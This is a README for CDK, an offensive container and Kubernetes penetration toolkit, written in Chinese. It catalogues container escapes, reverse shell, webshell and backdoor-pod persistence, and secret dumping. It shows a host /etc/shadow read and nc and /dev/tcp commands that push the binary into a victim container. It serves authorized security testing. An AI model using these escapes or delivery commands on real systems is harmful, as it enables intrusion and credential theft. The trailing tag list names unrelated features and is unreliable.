cdk-team/CDK
GitHub: cdk-team/CDK
一款零依赖的容器渗透测试工具包,帮助安全人员在容器与 K8s 环境中快速发现并利用逃逸路径。
Stars: 4622 | Forks: 599
# CDK - 零依赖容器渗透工具包
English | [简体中文](https://github.com/cdk-team/CDK/wiki/CDK-Home-CN)

## 法律声明
未经事先相互同意使用 CDK 攻击目标是非法的。
CDK 仅供安全测试用途。
## 概述
CDK 是一个开源的容器渗透工具包,旨在无需任何操作系统依赖的情况下,在不同的精简容器中提供稳定的利用。它附带实用的网络工具和许多强大的 PoC/EXP,帮助你轻松逃逸容器并接管 K8s 集群。
## 快速开始
运行 **`cdk eva`** 获取评估信息和推荐的利用方式,然后运行 **`cdk run`** 开始攻击。
```
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
```
## 安装/交付
从 https://github.com/cdk-team/CDK/releases/ 下载最新版本。
将可执行文件放入目标容器并开始测试。
### 提示:在真实渗透测试中将 CDK 交付到目标容器
如果你有一个可以上传文件的利用方式,那么你可以直接上传 CDK 二进制文件。
如果你有一个 RCE 利用方式,但目标容器没有 `curl` 或 `wget`,你可以使用以下方法交付 CDK:
1. 首先,在你的主机(公网 IP)上托管 CDK 二进制文件。
```
(on your host)
nc -lvp 999 < cdk
```
2. 在受害容器中执行
```
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
```
## 用法
```
Usage:
cdk evaluate [--full]
cdk run (--list | [...])
cdk [...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run [...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) Make request to K8s api-server.
ectl get Unauthorized enumeration of ectd keys.
ucurl (get|post) Make request to docker unix socket.
probe TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile= Select evaluation profile.
```
## 功能特性
CDK 包含三个模块:
1. 评估:收集容器内部信息以发现潜在弱点。
2. 利用:用于容器逃逸、持久化和横向移动。
3. 工具:网络工具以及用于 TCP/HTTP 请求、隧道和 K8s 集群管理的 API。
### 评估模块
用法
```
cdk evaluate [--full]
```
| 战术 | 脚本 | 支持 | 用法/示例 |
|------|------|------|-----------|
| 信息收集 | 操作系统基础信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-System-Info) |
| 信息收集 | 可用能力 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities) |
| 信息收集 | 可用 Linux 命令 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities) |
| 信息收集 | 挂载点 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Mounts) |
| 信息收集 | 网络命名空间 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Net-Namespace) |
| 信息收集 | 敏感环境变量 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services) |
| 信息收集 | 敏感进程 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Services) |
| 信息收集 | 敏感本地文件 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Sensitive-Files) |
| 信息收集 | Kube-proxy 路由本地网(CVE-2020-8558) | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-check-net.ipv4.conf.all.route_localnet) |
| 信息收集 | 基于 DNS 的服务发现 | ✔ | [链接](https://github.com/kubernetes/dns/blob/master/docs/specification.md) |
| 探测 | K8s API 服务器信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server) |
| 探测 | K8s 服务账户信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-Service-Account) |
| 探测 | 云平台元数据 API | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-Cloud-Provider-Metadata-API) |
### 利用模块
列出所有可用的利用方式:
```
cdk run --list
```
运行目标利用:
```
cdk run [options]
```
| 战术 | 技术 | CDK 利用名称 | 支持 | 精简版 | 文档 |
|------|------|--------------|------|--------|------|
| 逃逸 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| 逃逸 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn) |
| 逃逸 | Docker.sock PoC(DIND 攻击) | docker-sock-check | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-check) |
| 逃逸 | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-pwn) |
| 逃逸 | Docker API (2375) RCE | docker-api-pwn | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-api-pwn) |
| 逃逸 | 设备挂载逃逸 | mount-disk | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-disk) |
| 逃逸 | LXCFS 逃逸 | lxcfs-rw | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw) |
| 逃逸 | Cgroups 逃逸 | mount-cgroup | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-cgroup) |
| 逃逸 | 滥用无特权用户命名空间逃逸 CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-abuse-unpriv-userns) |
| 逃逸 | Procfs 逃逸 | mount-procfs | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs) |
| 逃逸 | Ptrace 逃逸 PoC | check-ptrace | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-check-ptrace) |
| 逃逸 | 重写 Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-rewrite-cgroup-devices) |
| 逃逸 | 从主机系统读取任意文件(CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-cap-dac-read-search) |
| 探测 | K8s 组件探测 | service-probe | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-service-probe) |
| 探测 | 转储 Istio 边车元数据 | istio-check | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-check-istio) |
| 探测 | 转储 K8s Pod 安全策略 | k8s-psp-dump | ✔ | | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-psp-dump) |
| 远程控制 | 反向 Shell | reverse-shell | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-reverse-shell) |
| 远程控制 | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| 凭据访问 | 注册表暴力破解 | registry-brute | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-Container-Image-Registry-Brute) |
| 凭据访问 | 访问密钥扫描 | ak-leakage | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-ak-leakage) |
| 凭据访问 | Etcd 获取 K8s Token | etcd-get-k8s-token | ✔ | ✔ | |
| 凭据访问 | 转储 K8s 密钥 | k8s-secret-dump | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) |
| 凭据访问 | 转储 K8s 配置 | k8s-configmap-dump | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) |
| 权限提升 | K8s RBAC 绕过 | k8s-get-sa-token | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) |
| 持久化 | 部署 Webshell | webshell-deploy | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy) |
| 持久化 | 部署后门 Pod | k8s-backdoor-daemonset | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset) |
| 持久化 | 部署影子 K8s API 服务器 | k8s-shadow-apiserver | ✔ | | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) |
| 持久化 | K8s MITM 攻击(CVE-2020-8554) | k8s-mm-clusterip | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Evaluate:-k8s-mitm-clusterip) |
| 持久化 | 部署 K8s CronJob | k8s-cronjob | ✔ | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-cronjob) |
**关于精简版(Thin):** 精简版(Thin)是为短期生命周期的容器 Shell(如 Serverless 函数)准备的。我们在源代码中添加了编译标签,并裁剪了一些利用方式以减小二进制体积。2MB 的文件包含了 90% 的 CDK 功能,你也可以从 CDK 源代码中挑选有用的利用方式来自行构建轻量级二进制。
### 工具模块
像在 Linux 中一样运行命令,输入参数略有不同,具体用法请参考使用链接。
```
cdk nc [options]
cdk ps
```
| 命令 | 描述 | 支持 | 用法/示例 |
|------|------|------|-----------|
| nc | TCP 隧道 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-nc) |
| ps | 进程信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-ps) |
| netstat | 类似 "netstat -antup" 命令 | ✔ | |
| ifconfig | 网络信息 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-ifconfig) |
| vi | 编辑文件 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-vi) |
| ectl | 未授权枚举 etcd 键 | ✔ | |
| kcurl | 请求 K8s API 服务器 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-kcurl) |
| dcurl | 请求 Docker HTTP API | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-dcurl) |
| ucurl | 请求 Docker Unix 套接字 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-ucurl) |
| rcurl | 请求 Docker Registry API | | |
| probe | IP/端口扫描 | ✔ | [链接](https://github.com/cdk-team/CDK/wiki/Tool:-probe) |
### 发行说明文档
如果你想了解我们如何发布新版本、Thin 是如何生成的、为什么提供 UPX 版本,以及所有版本(Normal、Thin、UPX)之间的区别,并如何选择特定的 CDK 利用方式和工具来编译你自己的发行版,请查看 [发行说明文档](https://github.com/cdk-team/CDK/wiki/Release)。
## 开发者文档
* [在容器中运行测试](https://github.com/cdk-team/CDK/wiki/Run-Test)
#### 漏洞报告
漏洞以 [GitHub Issues](https://github.com/cdk-team/CDK/issues) 形式跟踪。请创建包含当前 CDK 版本、错误消息和环境的 Issue,并描述重现问题的具体步骤。
#### 提出改进建议
改进建议以 [GitHub Discussions](https://github.com/cdk-team/CDK/discussions) 形式跟踪。你可以在此直接与开发者讨论。
#### 拉取请求
修复问题或维护 CDK 质量:
* 描述当前 CDK 版本、环境、问题及重现问题的具体步骤。
* 修复前后的运行截图或日志。
新功能或利用方式:
* 说明该增强功能对其他用户有何帮助。
* 请为我们提供一个可持续的环境以审查贡献。
* 该新功能如何工作的截图。
* 如果你提交新的评估/利用脚本,请在 PR 消息中添加一个简单文档,[此处为示例](https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-deploy)。
## 事件
### 404StarLink 2.0 - 银河

- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
### BlackHat Asia 2021 Arsenal
- [https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422](https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422)
### HITB SecConf 2021 Amsterdam
- [Briefing: "Attack Cloud Native Kubernetes"](https://conference.hitb.org/hitbsecconf2021ams/sessions/attacking-cloud-native-kubernetes-with-cdk/)
### WHC 2021 (补天白帽大会)
- [CDK: Also a Awesome BugBounty Tool for Cloud Platform](https://github.com/neargle/slidefiles/blob/main/2021%20WHC2021%20CDK-Also-a-Awesome-BugBounty-Tool-for-Cloud-Platform.pptx.pdf)
### KCON 2021 Arsenal
- [http://kcon.knownsec.com/2021/#/arsenal](http://kcon.knownsec.com/2021/#/arsenal)
### Kubernetes community Days 2021
- [https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/](https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/)
标签:CAP_DAC_READ_SEARCH, CAP_SYS_MODULE, Chrome Headless, CNI, Containerd安全, Cutter, Docker安全, EVTX分析, EXP, Kubernetes安全, PB级数据处理, PoC, SYS_ADMIN, Web截图, 二进制工具, 协议分析, 反取证, 安全扫描, 安全测试, 安全评估, 安全运维, 容器取证, 容器安全, 容器逃逸, 开源安全工具, 攻击性安全, 数据展示, 无操作系统依赖, 日志审计, 时序注入, 暴力破解, 权限提升, 特权容器, 红队, 逆向工具, 逆向工程平台, 零依赖